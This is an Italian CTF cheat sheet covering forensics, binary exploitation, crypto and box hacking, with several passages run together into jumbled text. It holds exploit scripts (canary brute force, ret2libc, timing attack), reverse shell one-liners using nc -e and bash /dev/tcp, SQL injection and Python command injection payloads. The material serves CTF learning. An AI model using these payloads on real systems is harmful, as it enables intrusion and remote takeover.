
Foglio dei trucchi CTF + Writeup / File per alcuni dei CTF di sicurezza che ho fatto
Writeup / File per alcuni dei CTF Cyber che ho fatto
Ho incluso anche un elenco di risorse CTF e un cheat sheet completo che copre molti tipi di sfide CTF comuni
[!NOTE] Ora c'è un mirror web di questo repo su hackback.zip
Ecco alcune slide che ho creato: hackback.zip/presentations
20{19,20,21,22,23,24}.cr.yp.toc.tf.file <file.xyz>steghide extract -sf <file.xyz>stegseek <file> <elenco password>binwalk -M --dd=".*" <file.xyz>exiftool <file.xyz>strings <file.xyz>hexedit <file.xyz>Audio di fax:
Audio SSTV (slow-scan tv) (roba lunare)

Immagine spettrogramma
Cambia tono, velocità, direzione...
DTMF (dual tone multiple frequency) tasti telefonici
multimon-ng -a DTMF -t wav <file.wav>
Nastro cassetta
Codice Morse
Controlla se qualcosa è stato photoshoppato (guarda le alte luci)
pngcheck
photorec <file.bin>.img:
binwalk -M --dd=".*" <nomeFile>file sull'output e seleziona il file del filesystem Linuxlosetup /dev/loop<numeroLoopLibero> <fileSystemFile>tcpflow -r <file.pcap>checksec <binario>rabin2 -I <binario>binary-security-check <bin>.exeseccomp-tools dump ./<binario>readelf -s <binario>rabin2 -z <binario>python -c "import pwn; print(pwn.p32(<intIndirizzo>))python -c "import pwn; print(pwn.p64(<intIndirizzo>))( python -c "print '<PAYLOAD>'" ; cat ) | ./<programma>process.interactive()pwn cyclic <numCaratteri> per generare il payloaddmesg | tail | grep segfault per vedere dove si è verificato l'errorepwn cyclic -l 0x<posizioneErrore> per vedere l'offset casuale per controllare il program counterROPgadget --ropchain --binary <binario>
gs, o fs (rispettivamente per 32 e 64 bit)
- Qui, il canary dello stack viene spostato in `rax` all'offset +8.
- Pertanto, interrompi all'offset successivo e controlla cosa c'è in rax (`i r rax`) per vedere qual è il canary corrente
**Canary Statici**
- Un canary è statico solo se è stato implementato manualmente dal programmatore (come in alcune sfide introduttive di pwn), o se si è in grado di fare un fork del programma.
- Quando fai il fork del binario, il processo figlio ha lo stesso canary, quindi puoi fare un bruteforce byte per byte su di esso
**Extra**
- Quando un canary dello stack viene sovrascritto in modo improprio, provoca una chiamata a `__stack_chk_fail`
- Se non riusciamo a leakare il canary, possiamo anche modificare la tabella GOT per impedire che venga chiamata
- Il canary è memorizzato nella struttura `TLS` dello stack corrente e viene inizializzato da `security_init`
- Se si riesce a sovrascrivere il valore reale del canary, lo si può impostare uguale a qualsiasi cosa si decida di overflow.
- Script semplice per fare brute force su un canary statico di 4 byte:```python
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
for letter in range(0,len(alphabet)): # We will go through each letter/number in the string 'alphabet'
p = elf.process() # We start the process
wait = p.recv().decode('utf-8')
p.sendline(str(32+i)) # In this program, we had to specify how many bytes we were gonna send.
wait = p.recv().decode('utf-8')
p.sendline('A'*32 + canary + alphabet[letter]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p.recv().decode('utf-8')
if "Stack" not in prompt: # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet[letter] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print("The canary is: " + canary)
%1$s - Questo stamperà il primo valore nello stack (per quanto ho capito, quello subito accanto al tuo buffer) come stringa.%2$s - Questo stamperà il secondo valore come stringa, e hai capito l'ideafor i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done%hhx fa leak di 1 byte (metà della metà della dimensione di un int)%hx fa leak di 2 byte (metà della dimensione di un int)%x fa leak di 4 byte (dimensione di un int)%lx fa leak di 8 byte (dimensione di un long)Sovrascriveremo l'EIP per chiamare la funzione di libreria system() e passeremo anche cosa deve eseguire, in questo esempio un buffer con "/bin/sh"
Buona spiegazione:
Buon esempio (vai a 3:22:44):
Ottieni l'indirizzo per execve("/bin/sh")
one_gadget <libc file>Se conosci già il file libc e una posizione (cioè non devi fare leak...)```python #!/bin/python3
from pwn import * import os
binaryName = 'ret2libc1'
libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]
one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]
libc_execve_address = one_gadget_libc_execve_out[1]
p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)
printf_loc = int(p.recvuntil('\n').rstrip(), 16)
printf_libc = l.sym['printf']
libc_base_address = printf_loc - printf_libc
offset = 0x17
payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)
p.sendline(payload)
p.interactive()
## Ingegneria Inversa
> Guida interessante: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
- [Ghidra](https://ghidra-sre.org/)
- Decompilatore molto utile
- dotPeek o dnSpy
- decompilare eseguibili .NET
- [jadx](https://github.com/skylot/jadx) e jadx-gui
- decompilare apk
- [devtoolzone](https://devtoolzone.com/decompiler/java)
- decompilare java online
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
- Decompilatore java avanzato da terminale
- apktool
- decompilare apk
- `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
- Analisi binaria
- [peda](https://github.com/longld/peda) (estensione per funzionalità aggiuntive)
- [gef](https://github.com/hugsy/gef) (estensione gdb per pwners)
- [radare2](https://github.com/radareorg/radare2)
- Analisi binaria
- [FLOSS](https://github.com/mandiant/flare-floss)
- `strings` potenziato. Usa analisi statica per trovare e calcolare stringhe
#### Risolutori SMT
- [angr](https://github.com/angr/angr) (python)
- [Documentazione](https://docs.angr.io/core-concepts/toplevel)
- [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
- [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
#### Ingegneria inversa dei controlli byte per byte (attacco side-channel)
[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
- Ecco una versione che ho creato per una challenge che utilizza un attacco basato sul tempo:
- Potrebbe essere necessario eseguirlo un paio di volte per tener conto della casualità```python
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context.log_level = 'error'
s = ''
print("*"*keyLen)
for chars in range(keyLen):
a = []
for i in string.printable:
p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
p.readline()
currPass = s + i + '0'*(keyLen - chars - 1)
# print(currPass)
p.sendline(currPass.encode())
p.readline()
p.readline()
p.readline()
info = p.readall().split(b',')[0]
p.close()
try:
a.append((float(info), i))
except:
pass
# print(float(info), i)
a.sort(key = lambda x: x[0])
s += str(a[-1][1])
print(s + "*"*(keyLen - len(s)))
# print(sorted(a, key = lambda x: x[0]))
p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()
grep <string> e gef mostrerà automaticamente la stringa che corrisponde al tuo pattern di ricercawpscan --url <site> --plugins-detection mixed -e con una chiave API per risultati miglioriecho <token> > jwt.txtjohn jwt.txtsqlmap --forms --dump-all -u <url>ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all-fs per filtrare le dimensionicipherText = "" plainText = "" flagCipherText = "" tableFile = ""
with open(cipherText) as fin: cipher = fin.readline().rstrip()
with open(plainText) as fin: plain = fin.readline().rstrip()
with open(flagCipherText) as fin: flag = fin.readline().rstrip()
with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]
table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break
print(key)
dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break
print(dec_flag)
- [Cifrario a sostituzione](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [Cifrario di Cesare con chiave](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)
### RSA
#### Ottieni info RSA con pycryptodome```python
from Crypto.PublicKey import RSA
keyName = "example.pem"
with open(keyName,'r') as f:
key = RSA.import_key(f.read())
print(key)
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)
# public keys have n and e
Usa questa opzione quando puoi fattorizzare il numero n
Vecchio```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)
def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m
p = q = e = c =
n = p*q # use factordb command or website to find factors
phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv(e, phi) # private key
m = pow(c,d,n) # decrypted plaintext message in long integer form
thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))
- Nuovo```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB(n)
f.connect()
factors = f.get_factor_list()
phi = 1
for i in factors:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
Solitamente utilizzato se l'esponente è molto piccolo (e <= 5)
if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1
c = e =
plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))
#### Attacco di Pollard (n,e,c)
- Basato sul [metodo di fattorizzazione di Pollard](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf), che rende i prodotti di primi [facili da fattorizzare](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf) se sono (B)-smooth
- Questo è il caso se `p-1 | B!` e `q - 1` ha un fattore > `B````python
from Crypto.Util.number import *
from math import gcd
n =
c =
e =
def pollard(n):
a = 2
b = 2
while True:
a = pow(a,b,n)
d = gcd(a-1,n)
if 1 < d < n:
return d
b += 1
p = pollard(n)
q = n // p
phi = 1
for i in [p,q]:
phi *= (i-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode('UTF-8')
print(flag)
n = e = c =
d = owiener.attack(e, n) m = pow(c, d, n)
flag = long_to_bytes(m) print(flag)
### Base16, 32, 36, 58, 64, 85, 91, 92
[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)
## Box
### Connessione
- ssh
- `ssh <username>@<ip>`
- `ssh <username>@<ip> -i <private key file>`
- Monta SSH come filesystem locale:
- `sshfs -p <port> <user>@<ip>: <mount_directory>`
- Host noti
- `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
- `nc <ip> <port>`
### Enumerazione
- Scoperta macchine
- `netdiscover`
- Scansione porte macchina
- `nmap -sC -sV <ip>`
- Enumerazione Linux
- `enum4linux <ip>`
- Enumerazione SMB
- `smbmap -H <ip>`
- Connetti alla condivisione SMB
- `smbclient //<ip>/<share>`
### Escalation dei privilegi
- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
- `./linpeas.sh`
- Cerca automaticamente vettori di escalation dei privilegi
- Elenca i comandi che possiamo eseguire come root
- `sudo -l`
- Trova file con permesso SUID
- `find / -perm -u=s -type f 2>/dev/null`
- Questi file vengono eseguiti con i privilegi del proprietario invece che dell'utente che li esegue
- Trova i permessi per tutti i servizi
- `accesschk.exe -uwcqv *`
- Cerca servizi che non sono sotto gli account System o Administrator
- Interroga servizio
- `sc qc <service name>`
- Funziona solo in cmd.exe
### Ascolta per reverse shell
- `nc -lnvp <port>`
### Reverse shell
- revshells.com
- modelli per praticamente tutto ciò di cui potresti aver bisogno
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`
### Ottieni shell interattiva
#### Linux
1. Esegui il seguente comando python per renderlo parzialmente interattivo: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. Esci dalla sessione netcat con `CTRL+Z` ed esegui `stty raw -echo` localmente
3. Rientra nella sessione con il comando `fg` (e l'ID del job dopo se necessario)
4. Cambia il tuo emulatore di terminale in xterm eseguendo `export TERM=xterm` (potrebbe non essere necessario)
5. Cambia la tua shell in bash eseguendo `export SHELL=bash` (potrebbe non essere necessario)
6. Fatto! Ora la tua shell dovrebbe essere completamente interattiva
#### Windows / Generale
1. Installa `rlwrap` sul tuo sistema
2. Ora, ogni volta che esegui un listener nc, metti `rlwrap` davanti
3. Ad esempio: `rlwrap nc -lvnp 1337`
* Questo ti darà i tasti freccia e la cronologia dei comandi, ma non darà l'autocompletamento (per quanto ne so) per sistemi Windows e *nix
## OSINT
- [pimeyes](https://pimeyes.com/en)
- Ricerca inversa di volti su internet
- [OSINT Framework](https://osintframework.com/)
- Sito web che aggrega tonnellate di strumenti OSINT
- [GeoSpy AI](https://geospy.ai)
- LLM di visione geospaziale in grado di stimare la posizione solo da un'immagine
- [overpass turbo](https://overpass-turbo.eu)
- Sito web che permette di interrogare l'API di OpenStreetMap e visualizzare i risultati
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
- Sito web che permette di interrogare facilmente l'API OSM
## Varie
- Risoluzione errori DNS
- `dig <site> <recordType>`
- [Elenco dei tipi di record](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
- Assicurati di provare TXT
- Esegui un binario con un'architettura diversa
- 64 bit:
- `linux64 ./<binary>`
- 32 bit:
- `linux32 ./<binary>`
- Estrai macro MS:
- [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- Visualizza CNC GCode
- [https://ncviewer.com/](https://ncviewer.com/)
ghex <file.xyz>unzip <file.docx>grep -r --text 'picoCTF{.*}'egrep -r --text 'picoCTF{.*?}ltrace ./<file>ltrace -s 100 ./<file>
'OR 1=1-- nel modulo di loginSELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''1=1 viene valutato come vero, soddisfacendo la condizione OR, e il resto della query viene commentato dal --__import__.('subprocess').getoutput('<command>')
__import__.('subprocess').getoutput('ls').split('\\n')